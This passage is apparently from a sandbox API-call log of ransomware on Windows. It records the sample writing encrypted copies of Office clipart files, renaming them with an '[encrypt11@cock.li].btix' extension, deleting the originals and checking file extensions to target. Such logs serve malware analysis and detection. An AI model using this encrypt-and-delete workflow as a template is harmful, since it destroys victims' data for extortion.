office\\root\\clipart\\pub60cor\\j0172193.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.566] GetLastError () returned 0x0 [0156.566] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x3198, lpOverlapped=0x0) returned 1 [0156.578] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x31a0, lpOverlapped=0x0) returned 1 [0156.579] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.579] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.579] SetEndOfFile (hFile=0x374) returned 1 [0156.579] CloseHandle (hObject=0x374) returned 1 [0156.579] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.579] SetEndOfFile (hFile=0x37c) returned 1 [0156.580] CloseHandle (hObject=0x37c) returned 1 [0156.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf")) returned 1 [0156.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0156.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0156.581] lstrlenW (lpString=".doc") returned 4 [0156.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.581] lstrlenW (lpString=".docx") returned 5 [0156.581] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0156.581] lstrlenW (lpString=".pdf") returned 4 [0156.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.581] lstrlenW (lpString=".xls") returned 4 [0156.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.581] lstrlenW (lpString=".xlsx") returned 5 [0156.581] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0156.581] lstrlenW (lpString=".ppt") returned 4 [0156.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0156.582] lstrlenW (lpString=".zip") returned 4 [0156.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.582] lstrlenW (lpString=".rar") returned 4 [0156.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.582] lstrlenW (lpString=".bz2") returned 4 [0156.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.582] lstrlenW (lpString=".7z") returned 3 [0156.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0156.582] lstrlenW (lpString=".dbf") returned 4 [0156.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0156.582] lstrlenW (lpString=".1cd") returned 4 [0156.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0156.582] lstrlenW (lpString=".jpg") returned 4 [0156.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.583] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.583] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.584] GetLastError () returned 0x0 [0156.584] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x5b2a, lpOverlapped=0x0) returned 1 [0156.651] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x5b30, lpOverlapped=0x0) returned 1 [0156.652] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.652] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.653] SetEndOfFile (hFile=0x374) returned 1 [0156.653] CloseHandle (hObject=0x374) returned 1 [0156.653] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.653] SetEndOfFile (hFile=0x37c) returned 1 [0156.654] CloseHandle (hObject=0x37c) returned 1 [0156.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 1 [0156.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0156.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0156.656] lstrlenW (lpString=".doc") returned 4 [0156.656] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.656] lstrlenW (lpString=".docx") returned 5 [0156.656] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0156.656] lstrlenW (lpString=".pdf") returned 4 [0156.656] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.656] lstrlenW (lpString=".xls") returned 4 [0156.656] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.656] lstrlenW (lpString=".xlsx") returned 5 [0156.656] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0156.656] lstrlenW (lpString=".ppt") returned 4 [0156.656] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0156.656] lstrlenW (lpString=".zip") returned 4 [0156.656] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.656] lstrlenW (lpString=".rar") returned 4 [0156.656] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.656] lstrlenW (lpString=".bz2") returned 4 [0156.656] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.656] lstrlenW (lpString=".7z") returned 3 [0156.656] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0156.656] lstrlenW (lpString=".dbf") returned 4 [0156.656] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0156.656] lstrlenW (lpString=".1cd") returned 4 [0156.657] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0156.657] lstrlenW (lpString=".jpg") returned 4 [0156.657] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.672] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.672] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.704] GetLastError () returned 0x0 [0156.705] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x40e7, lpOverlapped=0x0) returned 1 [0156.715] WriteFile (in: hFile=0x33c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x40f0, lpOverlapped=0x0) returned 1 [0156.717] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.717] WriteFile (in: hFile=0x33c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.717] SetEndOfFile (hFile=0x33c) returned 1 [0156.724] CloseHandle (hObject=0x33c) returned 1 [0156.727] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.727] SetEndOfFile (hFile=0x364) returned 1 [0156.728] CloseHandle (hObject=0x364) returned 1 [0156.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg")) returned 1 [0156.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0156.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0156.734] lstrlenW (lpString=".doc") returned 4 [0156.734] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.734] lstrlenW (lpString=".docx") returned 5 [0156.734] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0156.734] lstrlenW (lpString=".pdf") returned 4 [0156.734] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.734] lstrlenW (lpString=".xls") returned 4 [0156.734] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.734] lstrlenW (lpString=".xlsx") returned 5 [0156.734] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0156.734] lstrlenW (lpString=".ppt") returned 4 [0156.734] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0156.734] lstrlenW (lpString=".zip") returned 4 [0156.734] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.734] lstrlenW (lpString=".rar") returned 4 [0156.734] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.734] lstrlenW (lpString=".bz2") returned 4 [0156.734] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.734] lstrlenW (lpString=".7z") returned 3 [0156.734] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0156.734] lstrlenW (lpString=".dbf") returned 4 [0156.734] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0156.734] lstrlenW (lpString=".1cd") returned 4 [0156.734] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0156.734] lstrlenW (lpString=".jpg") returned 4 [0156.735] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.740] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.740] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.744] GetLastError () returned 0x0 [0156.744] ReadFile (in: hFile=0x33c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x6fd2, lpOverlapped=0x0) returned 1 [0156.751] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x6fe0, lpOverlapped=0x0) returned 1 [0156.752] ReadFile (in: hFile=0x33c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.752] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.752] SetEndOfFile (hFile=0x374) returned 1 [0156.752] CloseHandle (hObject=0x374) returned 1 [0156.752] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.752] SetEndOfFile (hFile=0x33c) returned 1 [0156.753] CloseHandle (hObject=0x33c) returned 1 [0156.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 1 [0156.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0156.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0156.757] lstrlenW (lpString=".doc") returned 4 [0156.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.757] lstrlenW (lpString=".docx") returned 5 [0156.757] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.757] lstrlenW (lpString=".pdf") returned 4 [0156.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.757] lstrlenW (lpString=".xls") returned 4 [0156.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.757] lstrlenW (lpString=".xlsx") returned 5 [0156.757] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.757] lstrlenW (lpString=".ppt") returned 4 [0156.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0156.757] lstrlenW (lpString=".zip") returned 4 [0156.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.758] lstrlenW (lpString=".rar") returned 4 [0156.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.758] lstrlenW (lpString=".bz2") returned 4 [0156.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.758] lstrlenW (lpString=".7z") returned 3 [0156.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0156.758] lstrlenW (lpString=".dbf") returned 4 [0156.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0156.758] lstrlenW (lpString=".1cd") returned 4 [0156.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0156.758] lstrlenW (lpString=".jpg") returned 4 [0156.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.766] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.766] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.772] GetLastError () returned 0x0 [0156.772] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4b4a, lpOverlapped=0x0) returned 1 [0156.787] WriteFile (in: hFile=0x390, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4b50, lpOverlapped=0x0) returned 1 [0156.788] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.788] WriteFile (in: hFile=0x390, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.788] SetEndOfFile (hFile=0x390) returned 1 [0156.788] CloseHandle (hObject=0x390) returned 1 [0156.788] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.788] SetEndOfFile (hFile=0x358) returned 1 [0156.789] CloseHandle (hObject=0x358) returned 1 [0156.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf")) returned 1 [0156.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0156.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0156.790] lstrlenW (lpString=".doc") returned 4 [0156.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.790] lstrlenW (lpString=".docx") returned 5 [0156.790] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.790] lstrlenW (lpString=".pdf") returned 4 [0156.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.790] lstrlenW (lpString=".xls") returned 4 [0156.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.790] lstrlenW (lpString=".xlsx") returned 5 [0156.790] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.790] lstrlenW (lpString=".ppt") returned 4 [0156.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0156.790] lstrlenW (lpString=".zip") returned 4 [0156.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.790] lstrlenW (lpString=".rar") returned 4 [0156.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.790] lstrlenW (lpString=".bz2") returned 4 [0156.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.790] lstrlenW (lpString=".7z") returned 3 [0156.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0156.790] lstrlenW (lpString=".dbf") returned 4 [0156.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0156.791] lstrlenW (lpString=".1cd") returned 4 [0156.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0156.791] lstrlenW (lpString=".jpg") returned 4 [0156.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.799] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.799] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0156.805] GetLastError () returned 0x0 [0156.805] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xe956, lpOverlapped=0x0) returned 1 [0156.810] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xe960, lpOverlapped=0x0) returned 1 [0156.812] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.812] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.812] SetEndOfFile (hFile=0x358) returned 1 [0156.812] CloseHandle (hObject=0x358) returned 1 [0156.812] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.812] SetEndOfFile (hFile=0x364) returned 1 [0156.813] CloseHandle (hObject=0x364) returned 1 [0156.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0156.817] lstrlenW (lpString="C:\\Program 